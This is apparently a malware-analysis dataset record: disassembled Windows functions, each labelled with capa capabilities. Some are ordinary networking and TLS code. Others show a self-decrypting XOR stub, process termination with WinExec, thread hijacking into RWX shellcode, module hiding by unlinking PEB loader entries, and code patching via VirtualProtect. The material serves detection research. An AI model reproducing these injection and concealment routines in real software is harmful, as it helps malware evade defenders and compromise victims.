joyce8/EMBER2024-capa huggingface dataset:
Function at 0x459b40
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x188
mov eax, dword [0x9143c0]
xor eax, esp
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x18c]
push ebx
mov ebx, dword [esp + 0x194]
push esi
mov esi, dword [eax + 8]
lea eax, [esp + 0xc]
push 0x80
push 0
push eax
mov dword [esp + 0x14], 0x80
call fcn.0046f9a0
add esp, 0xc
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
push dword [esi + 0x98]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x459be4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [esp + 0x8c]
push 0x100
push eax
push esi
call fcn.00425680
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.004351a0
add esp, 0x1c
mov eax, 2
pop esi
pop ebx
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.0046c5de
add esp, 0x188
ret
lea eax, [esi + 0x100]
push eax
lea eax, [esi + 0xd0]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
call fcn.00435d80
add esp, 0x10
test al, al
jne 0x459c57
push edi
call fcn.00475f05
mov esi, dword [eax]
call fcn.00475f05
mov edi, eax
lea eax, [esp + 0x90]
push 0x100
push eax
push esi
call fcn.00425680
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.004351a0
add esp, 0x1c
mov eax, 2
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.0046c5de
add esp, 0x188
ret
mov ecx, dword [esp + 0x18c]
xor eax, eax
pop esi
pop ebx
xor ecx, esp
call fcn.0046c5de
add esp, 0x188
ret
Function at 0x45b460
Capabilities:
Check http status code

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, dword [esp + 0x1c]
push 0x11
push str.WWW_Authenticate:
push esi
mov dword [esp + 0x1c], 0
lea ebx, [edi + 0xf0]
call fcn.00437a50
add esp, 0xc
test eax, eax
je 0x45b499
mov ebp, dword [ebx]
cmp ebp, 0x191
je 0x45b4b7
push 0x13
push str.Proxy_authenticate:
push esi
call fcn.00437a50
add esp, 0xc
test eax, eax
je 0x45b4ff
mov ebp, dword [ebx]
cmp ebp, 0x197
jne 0x45b4ff
push esi
call fcn.0043b050
mov esi, eax
add esp, 4
test esi, esi
jne 0x45b4cf
pop edi
lea eax, [esi + 0x1b]
pop esi
pop ebp
pop ebx
pop ecx
ret
cmp ebp, 0x197
push esi
sete al
movzx eax, al
push eax
push edi
call fcn.0043c1f0
push esi
mov edi, eax
call dword [0x914054]
add esp, 0x10
test edi, edi
je 0x45b641
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0xf
push str.Content_Length:
push esi
call fcn.00437a50
add esp, 0xc
test eax, eax
je 0x45b559
mov ecx, dword [ebx]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x45b537
push ecx
push str.Ignoring_Content_Length_in_CONNECT__03d_response
push edi
call fcn.00435270
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x20]
add eax, 0x200
push eax
push 0xa
lea eax, [esi + 0xf]
push 0
push eax
call fcn.0043ed40
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 5
push str.close
push 0xb
push str.Connection:
push esi
call fcn.0043afa0
add esp, 0x14
test al, al
jne 0x45b636
push 0x12
push str.Transfer_Encoding:
push esi
call fcn.00437a50
add esp, 0xc
test eax, eax
je 0x45b5f2
mov ecx, dword [ebx]
lea eax, [ecx - 0xc8]
cmp eax, 0x64
jae 0x45b5b0
push ecx
push str.Ignoring_Transfer_Encoding_in_CONNECT__03d_response
push edi
call fcn.00435270
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 7
push str.chunked
push 0x12
push str.Transfer_Encoding:
push esi
call fcn.0043afa0
add esp, 0x14
test al, al
je 0x45b641
push str.CONNECT_responded_chunked
push edi
call fcn.00435270
mov eax, dword [esp + 0x28]
push edi
mov byte [eax + 0x20c], 1
call fcn.0045e300
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 5
push str.close
push 0x11
push str.Proxy_Connection:
push esi
call fcn.0043afa0
add esp, 0x14
test al, al
jne 0x45b636
push ebx
lea eax, [esp + 0x14]
push eax
push str.HTTP_1._d__d
push esi
call fcn.0042e360
add esp, 0x10
cmp eax, 2
jne 0x45b641
mov eax, dword [ebx]
mov dword [edi + 0xd64], eax
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x20]
mov byte [eax + 0x20d], 1
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x462120
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x120
mov eax, dword [0x9143c0]
xor eax, esp
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x124]
push ebx
push ebp
mov ebp, dword [esp + 0x134]
xor ebx, ebx
push esi
push edi
mov edi, dword [esp + 0x138]
xor esi, esi
push edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], edi
call fcn.00483493
add esp, 4
mov dword [esp + 0x20], eax
test eax, eax
jne 0x46219f
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00425770
push eax
push edi
push str.schannel:_invalid_path_name_for_CA_file__s:__s
push ebp
call fcn.004351a0
push esi
call dword [0x914054]
add esp, 0x20
lea eax, [ebx + 0x4d]
jmp 0x4622ff
push 0
push 0x80
push 3
push 0
push 1
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
jne 0x4621f9
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00425770
push eax
push edi
push str.schannel:_failed_to_open_CA_file__s:__s
push ebp
call fcn.004351a0
push 0
mov esi, 0x4d
call dword [0x914054]
add esp, 0x20
jmp 0x4622f1
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x462239
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00425770
push eax
push edi
push str.schannel:_failed_to_determine_size_of_CA_file__s:__s
push ebp
call fcn.004351a0
add esp, 0x1c
mov esi, 0x4d
jmp 0x4622dd
mov edi, dword [esp + 0x24]
cmp dword [esp + 0x28], ebx
jl 0x462267
jg 0x46224d
cmp edi, 0x100000
jbe 0x462267
push 0x100000
push str.schannel:_CA_file_exceeds_max_size_of__u_bytes
push ebp
call fcn.004351a0
add esp, 0xc
mov esi, 0x4d
jmp 0x4622dd
lea eax, [edi + 1]
push eax
call dword [0x914050]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x46227f
lea esi, [eax + 0x1b]
jmp 0x4622dd
test edi, edi
je 0x4622c4
nop dword [eax]
nop word [eax + eax]
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x46231c
mov eax, dword [esp + 0x10]
test eax, eax
je 0x462318
add esi, eax
cmp esi, edi
jb 0x462290
push ebp
push dword [esp + 0x18]
mov byte [edi + ebx], 0
push edi
push ebx
push dword [esp + 0x2c]
call fcn.00461f20
add esp, 0x14
mov esi, eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [0x914054]
add esp, 4
push dword [esp + 0x20]
call fcn.00471c34
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x12c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0046c5de
add esp, 0x120
ret
mov edi, esi
jmp 0x4622c4
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00425770
push eax
push dword [esp + 0x24]
push str.schannel:_failed_to_read_from_CA_file__s:__s
push ebp
call fcn.004351a0
add esp, 0x1c
mov esi, 0x4d
jmp 0x4622dd
Function at 0x469870
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x914050]
mov esi, eax
add esp, 4
test esi, esi
jne 0x46989b
pop esi
pop ebp
add esp, 0xc
ret
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x4698ea
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [edi]
push ebx
push dword [esp + 0x2c]
push dword [esi + 4]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x28], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov ebx, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x28], ebx
jmp 0x4698f2
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x30]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x469963
mov ebp, dword [esp + 0x14]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x469920
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x20]
cmp ebx, dword [ebp + 0x10]
jae 0x469995
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x905e65
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x905e66
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x469970
pop edi
pop ebx
mov eax, esi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x4699a0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push dword [esp + 0x24]
call fcn.00436bc0
mov edx, dword [ebp + 0xc]
mov ebx, eax
mov ecx, dword [ebp + 0x14]
mov dword [esp + 0x14], ebx
lea ecx, [ecx + edx*2]
add ecx, 0xc
push ecx
call dword [0x914050]
mov esi, eax
add esp, 8
test esi, esi
je 0x469b22
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x469a22
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [esp + 0x28]
push ebx
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x38], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov eax, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x1c]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x469a93
mov ebp, dword [esp + 0x24]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x469a50
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x20]
cmp ebx, dword [ebp + 0x10]
jae 0x469ac5
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x905e65
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x905e66
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x469aa0
push dword [esp + 0x30]
call fcn.00436bc0
mov ecx, dword [esi]
push eax
push dword [esp + 0x34]
push dword [esi + 4]
mov eax, dword [ecx + 4]
call eax
mov edi, dword [esp + 0x44]
add esp, 0x10
mov ebx, dword [esi]
test edi, edi
jne 0x469af0
mov edi, dword [ebx + 0xc]
add edi, dword [esi + 8]
push dword [esi + 4]
mov eax, dword [ebx + 8]
push edi
call eax
push dword [ebx + 0x14]
mov eax, dword [ebx + 4]
push edi
push dword [esi + 8]
call eax
push dword [esi + 8]
mov eax, dword [ebx + 8]
push edi
call eax
push esi
call dword [0x914054]
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
pop esi
pop ebp
mov eax, 0x1b
pop ebx
add esp, 0xc
ret
Function at 0x46b300
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x46b34c
push ebx
mov ebx, dword [esp + 0x10]
mov cl, byte [esi + ebx]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [esi + ebx], cl
inc esi
cmp esi, edi
jb 0x46b311
pop ebx
pop edi
pop esi
ret

Function at 0x46d315
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x46d354
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x46d354
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x46d354
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x46d354
cmp dword [ecx + 0x74], 0xe
jbe 0x46d354
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x486518
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00486397

Function at 0x48ac2f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0048a8ef

Function at 0x490dd0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x490dfd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x490dfd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001800
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x10023470]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0xdd
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x10020108]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x16
jb 0x10001830
mov byte [ebp - 0x10a], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.10008479
add esp, 0xc
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10012340
add esp, 0xc
jmp dword [pe_dos_header]
Function at 0x100018b0
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c4d6
mov eax, dword fs:[0]
push eax
sub esp, 0x1d4
mov eax, dword [0x10023470]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x118]
push eax
push 0x104
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor ebx, ebx
mov ecx, 0xc8
xor eax, eax
jmp 0x10001900
mov dl, byte [eax + 0x10020120]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x134], dl
inc eax
and ecx, 0xff
cmp eax, 0x10
jb 0x10001900
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x134]
push ecx
mov edx, eax
push edx
mov byte [ebp - 0x124], bl
call fcn.10008479
lea eax, [ebp - 0x118]
add esp, 0xc
push eax
call fcn.100093c2
add esp, 4
lea ecx, [ebp - 0x1e0]
push ecx
call fcn.10004200
lea edx, [ebp - 0x118]
push edx
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 4], ebx
call fcn.10004f90
test eax, eax
jne 0x10001993
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [eax + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x100019b4
or eax, 4
jmp 0x100019b4
mov ecx, dword [ebp - 0x1e0]
mov ecx, dword [ecx + 4]
mov eax, dword [ebp + ecx - 0x1a8]
lea ecx, [ebp + ecx - 0x1e0]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
push ebx
call fcn.10001530
mov dword [ebp - 0x120], 0x6f727245
mov dword [ebp - 0x11c], 0x203a72
push esi
push ecx
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x1e0]
push eax
mov byte [ebp - 4], 1
call fcn.10005cb0
add esp, 0xc
push eax
call fcn.10005cb0
add esp, 8
mov esi, eax
push 0xa
mov ecx, esi
call fcn.10003ce0
mov ecx, dword [esi]
mov eax, dword [ecx + 4]
mov ecx, dword [eax + esi + 0xc]
xor edi, edi
test cl, 6
jne 0x10001a25
mov eax, dword [eax + esi + 0x38]
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0x34]
call eax
cmp eax, 0xffffffff
jne 0x10001a25
mov edi, 4
mov ecx, dword [esi]
mov ecx, dword [ecx + 4]
add ecx, esi
cmp edi, ebx
je 0x10001a43
mov eax, dword [ecx + 0xc]
or eax, edi
cmp dword [ecx + 0x38], ebx
jne 0x10001a3d
or eax, 4
push ebx
call fcn.10001530
xor eax, eax
mov byte [ebp - 4], bl
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
lea eax, [ebp - 0x1dc]
call fcn.10005080
test eax, eax
jne 0x10001a8b
mov edx, dword [ebp - 0x1e0]
mov ecx, dword [edx + 4]
mov eax, dword [ebp + ecx - 0x1d4]
lea ecx, [ebp + ecx - 0x1e0]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x10001a85
or eax, 4
push ebx
call fcn.10001530
call fcn.10001800
lea ecx, [ebp - 0x180]
mov dword [ebp - 4], 0xffffffff
call fcn.10004320
lea eax, [ebp - 0x180]
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10007a1d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000836e
mov esp, ebp
pop ebp
ret
Function at 0x10001b00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0x100
push 0
push 0x10129c28
call fcn.10012340
mov ecx, dword [ebp + 8]
add esp, 0xc
xor eax, eax
sub ecx, 0x10129c28
mov dl, byte [ecx + eax + 0x10129c28]
sub dl, 0x1b
xor dl, 0xc
mov byte [eax + 0x10129c28], dl
inc eax
cmp eax, 0x100
jl 0x10001b22
mov eax, 0x10129c28
pop ebp
ret

Function at 0x10001b50
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x10023470]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
mov ecx, 0xd6
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x10020134]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x10001b70
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f6685db
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.10005f60
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2f4]
push ecx
push 0x40
mov esi, eax
xor eax, eax
push 0x100
push esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [ebp - 0x2f0]
push edx
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000836e
mov esp, ebp
pop ebp
ret
Function at 0x10001c50
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x10001c98
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10001c9c
cmp edx, esi
jne 0x10001c81
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x10001cbc
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10001cc0
cmp edx, esi
jne 0x10001ca5
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10001ce0
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10001ce4
cmp edx, esi
jne 0x10001cc9
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10001cf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
push esi
push 0xc3
push edi
call fcn.10012340
mov edx, dword [ebp - 4]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push edx
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret